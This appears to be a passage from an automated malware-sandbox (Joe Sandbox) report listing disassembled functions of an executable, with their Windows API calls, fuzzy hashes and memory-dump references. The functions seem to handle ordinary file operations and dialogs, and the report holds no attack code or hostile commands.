Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 95306f677a1a940d4e4b10d0484d0357917259e0f5a292614227dba5d4f086db
Instruction ID: 2f3302e5ecb8cebe7e24a8b19cb82265a31ec1decfa42385507f6823d00902c6
Opcode Fuzzy Hash: 95306f677a1a940d4e4b10d0484d0357917259e0f5a292614227dba5d4f086db
Instruction Fuzzy Hash: 20A001E62AD202BE360866A17D2BDBA065DC4C8BA1730A92AF442A5082A9816C8560B1

Function 00E1F549 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F556

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 53335210f1c718081cbae00c844eaafb9d30438f08af902c165d2a45db282641
Instruction ID: 500f9044863612636dc27736e4d7705cf0a08b40496c56069075e14ad0cc57e1
Opcode Fuzzy Hash: 53335210f1c718081cbae00c844eaafb9d30438f08af902c165d2a45db282641
Instruction Fuzzy Hash: B0A001E62AD2057E36086AA17E2BDBA065EC4C4B61730A52AF442B5082A9816D8560B1

Function 00E1F6E1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F6AB

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b8319169ddf4a2b041292bcaf297328650bc28021e62d50438d48db40f5b6aef
Instruction ID: 3c80851f7ed0af639b8efef5b799089bb1b9f6958b2c2b3e7417d0b3c9154039
Opcode Fuzzy Hash: b8319169ddf4a2b041292bcaf297328650bc28021e62d50438d48db40f5b6aef
Instruction Fuzzy Hash: 1BA001A62BD242BD320862A17D2BEBA069CC8C8B65730A93AF402B4092A8812C8555B1

Function 00E1F6EB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F6AB

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: da0cb0d90b45234ae90e12145d29b0c2653d8e1870f4f1d396d656987b1b38d5
Instruction ID: 3c80851f7ed0af639b8efef5b799089bb1b9f6958b2c2b3e7417d0b3c9154039
Opcode Fuzzy Hash: da0cb0d90b45234ae90e12145d29b0c2653d8e1870f4f1d396d656987b1b38d5
Instruction Fuzzy Hash: 1BA001A62BD242BD320862A17D2BEBA069CC8C8B65730A93AF402B4092A8812C8555B1

Function 00E1F6F5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F6AB

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 966867b8d238feca7663bfc23f33b4f7c29d02415ab356abfb09a231f21dd4ff
Instruction ID: 3c80851f7ed0af639b8efef5b799089bb1b9f6958b2c2b3e7417d0b3c9154039
Opcode Fuzzy Hash: 966867b8d238feca7663bfc23f33b4f7c29d02415ab356abfb09a231f21dd4ff
Instruction Fuzzy Hash: 1BA001A62BD242BD320862A17D2BEBA069CC8C8B65730A93AF402B4092A8812C8555B1

Function 00E1F6FF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F70C

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d0f23c3d58f69bc8800f2972a6b9200ff77e51b55e8e8d955d88065235922ad8
Instruction ID: 2809f2a955d981a955a58eac5dd1d9bf3d4402eb29a512c063c4bb2d22c259a7
Opcode Fuzzy Hash: d0f23c3d58f69bc8800f2972a6b9200ff77e51b55e8e8d955d88065235922ad8
Instruction Fuzzy Hash: 74A001A62B9201BD320866A1BDABDBA165CD8C1B25730A92AF402B4082A8802DC550B1

Function 00E1F6CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F6AB

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: da1ccaedebfd315e29927aff56b2fbab62fb1ec585d18de9910f67aa4827f521
Instruction ID: 3c80851f7ed0af639b8efef5b799089bb1b9f6958b2c2b3e7417d0b3c9154039
Opcode Fuzzy Hash: da1ccaedebfd315e29927aff56b2fbab62fb1ec585d18de9910f67aa4827f521
Instruction Fuzzy Hash: 1BA001A62BD242BD320862A17D2BEBA069CC8C8B65730A93AF402B4092A8812C8555B1

Function 00E1F6D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F6AB

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cb9a6418520bff7a59703181d7e5cc7df8a1f836adc777118b0502353c53d8d3
Instruction ID: 3c80851f7ed0af639b8efef5b799089bb1b9f6958b2c2b3e7417d0b3c9154039
Opcode Fuzzy Hash: cb9a6418520bff7a59703181d7e5cc7df8a1f836adc777118b0502353c53d8d3
Instruction Fuzzy Hash: 1BA001A62BD242BD320862A17D2BEBA069CC8C8B65730A93AF402B4092A8812C8555B1

Function 00E1F72E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F70C

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9c098b42e72b2f736df2e0a6f8dc6462becc3e1e7d395f964ea66bb89556105b
Instruction ID: 17db277a90e87cfd011795b39e84f890b78dba1d1eb8c8202f95fe4bcb818e7a
Opcode Fuzzy Hash: 9c098b42e72b2f736df2e0a6f8dc6462becc3e1e7d395f964ea66bb89556105b
Instruction Fuzzy Hash: BDA001A62BD202BD320866A1BD6BDBA165CC8C5B61730A92AF402A4082A8802DC550B1

Function 00E1F71A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F70C

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6cf3d51a3af044072c9620b0b4b240d3a8a6d5ecfc42e77f4081176f83204451
Instruction ID: 17db277a90e87cfd011795b39e84f890b78dba1d1eb8c8202f95fe4bcb818e7a
Opcode Fuzzy Hash: 6cf3d51a3af044072c9620b0b4b240d3a8a6d5ecfc42e77f4081176f83204451
Instruction Fuzzy Hash: BDA001A62BD202BD320866A1BD6BDBA165CC8C5B61730A92AF402A4082A8802DC550B1

Function 00E1BC19 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00E1BFF6,00E51890,00000000,00E52892,00000006), ref: 00E1BC1D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 5504a0f68b0aec7e6a014f4b6046d01490c007e6c545fff38646ffb3c8c3caa2
Instruction ID: 33cabbf2f7842abaa7d70eedd35b3740b6fbe4de099308fe88707f28c515689d
Opcode Fuzzy Hash: 5504a0f68b0aec7e6a014f4b6046d01490c007e6c545fff38646ffb3c8c3caa2
Instruction Fuzzy Hash: 6FA011B22022008B82000B328F0AA0EBAAAAFA2A00F00C028A000800B0EB3088A0AA00

Function 00E0A880 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00E0A83D,?,?,?,?,?,00E3380F,000000FF), ref: 00E0A89B

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ac384e3828ab0a7cf89bac0c1e5b1b834340d7e51c94a7bc1a1d2f4aa8fe1c1a
Instruction ID: 0d110bd99b0cf51687ffac3819a6c54db2d1489e664a505ba4bfc21f27f7b961
Opcode Fuzzy Hash: ac384e3828ab0a7cf89bac0c1e5b1b834340d7e51c94a7bc1a1d2f4aa8fe1c1a
Instruction Fuzzy Hash: FAF0B470481B098EEB388A24C44C792B7E4AB11329F086B6DC0E3628E4D37165CECB51

Non-executed Functions

Function 00E1D420 Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 233windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E012F6: GetDlgItem.USER32(00000000,00003021), ref: 00E0133A
Part of subcall function 00E012F6: SetWindowTextW.USER32(00000000,00E345F4), ref: 00E01350

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00E1D4B1
EndDialog.USER32(?,00000006), ref: 00E1D4C4
GetDlgItem.USER32(?,0000006C), ref: 00E1D4E0
SetFocus.USER32(00000000), ref: 00E1D4E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00E1D521
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00E1D558
FindFirstFileW.KERNEL32(?,?), ref: 00E1D56E

Part of subcall function 00E1BC2B: FileTimeToSystemTime.KERNEL32(?,?), ref: 00E1BC3F
Part of subcall function 00E1BC2B: SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00E1BC50
Part of subcall function 00E1BC2B: SystemTimeToFileTime.KERNEL32(?,?), ref: 00E1BC5E
Part of subcall function 00E1BC2B: FileTimeToSystemTime.KERNEL32(?,?), ref: 00E1BC6C
Part of subcall function 00E1BC2B: GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00E1BC87
Part of subcall function 00E1BC2B: GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 00E1BCAE
Part of subcall function 00E1BC2B: _swprintf.LIBCMT ref: 00E1BCD4

_swprintf.LIBCMT ref: 00E1D5B7

Part of subcall function 00E04A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E04A33

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00E1D5CA
FindClose.KERNEL32(00000000), ref: 00E1D5D1
_swprintf.LIBCMT ref: 00E1D620
SetDlgItemTextW.USER32(?,00000068,?), ref: 00E1D633
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00E1D650
_swprintf.LIBCMT ref: 00E1D683
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00E1D696
_swprintf.LIBCMT ref: 00E1D6E0
SetDlgItemTextW.USER32(?,00000069,?), ref: 00E1D6F3

Part of subcall function 00E1C093: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00E1C0B9
Part of subcall function 00E1C093: GetNumberFormatW.KERNEL32(00000400,00000000,?,00E4072C,?,?), ref: 00E1C108

Strings

REPLACEFILEDLG, xrefs: 00E1D447
%s %s, xrefs: 00E1D5A4, 00E1D5B0, 00E1D616, 00E1D679, 00E1D6D6

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Item$Time$Text$_swprintf$FileSystem$FormatMessageSend$Find$CloseDateDialogFirstFocusInfoLocalLocaleNumberSpecificWindow__vswprintf_c_l
String ID: %s %s$REPLACEFILEDLG
API String ID: 3464475507-439456425
Opcode ID: be90d20e25eadb88d293c406bfe955582cf5aeca6ee34bbfcb078c6a69c4fcfe
Instruction ID: 48d734f35f99ed9981f0a3d6535a2f9473e237bd74b2fe30b834f3efdffeee7f
Opcode Fuzzy Hash: be90d20e25eadb88d293c406bfe955582cf5aeca6ee34bbfcb078c6a69c4fcfe
Instruction Fuzzy Hash: 4B71D7B26487047FD2319BA4DC49FFB77ECEB8A740F041819F64AF20D1D6B1A9488762

Function 00E07AAF Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 337fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E07AB4
_wcslen.LIBCMT ref: 00E07B1D
_wcslen.LIBCMT ref: 00E07B8E

Part of subcall function 00E08704: GetCurrentProcess.KERNEL32(00000020,?), ref: 00E08713
Part of subcall function 00E08704: GetLastError.KERNEL32 ref: 00E08759
Part of subcall function 00E08704: CloseHandle.KERNEL32(?), ref: 00E08768

Part of subcall function 00E0B470: DeleteFileW.KERNELBASE(?,00000000,?,00E0A438,?,?,?,?,00E0892B,?,?,?,00E3380F,000000FF), ref: 00E0B481
Part of subcall function 00E0B470: DeleteFileW.KERNEL32(?,?,?,00000800,?,00E0A438,?,?,?,?,00E0892B,?,?,?,00E3380F,000000FF), ref: 00E0B4AF

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00E07C43
CloseHandle.KERNEL32(00000000), ref: 00E07C5F
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00E07DAB

Part of subcall function 00E0B032: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00E07ED0,?,?,?,00000000), ref: 00E0B04C
Part of subcall function 00E0B032: SetFileTime.KERNELBASE(?,?,?,?), ref: 00E0B100

Part of subcall function 00E0A880: CloseHandle.KERNELBASE(000000FF,?,?,00E0A83D,?,?,?,?,?,00E3380F,000000FF), ref: 00E0A89B

Part of subcall function 00E0B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00E0B5B5,?,?,?,00E0B405,?,00000001,00000000,?,?), ref: 00E0B8FA
Part of subcall function 00E0B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00E0B5B5,?,?,?,00E0B405,?,00000001,00000000,?,?), ref: 00E0B92B

Strings

UNC\, xrefs: 00E07B5B
SeRestorePrivilege, xrefs: 00E07ACC
\??\, xrefs: 00E07B35
SeCreateSymbolicLinkPrivilege, xrefs: 00E07AD6

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3983180755-3508440684
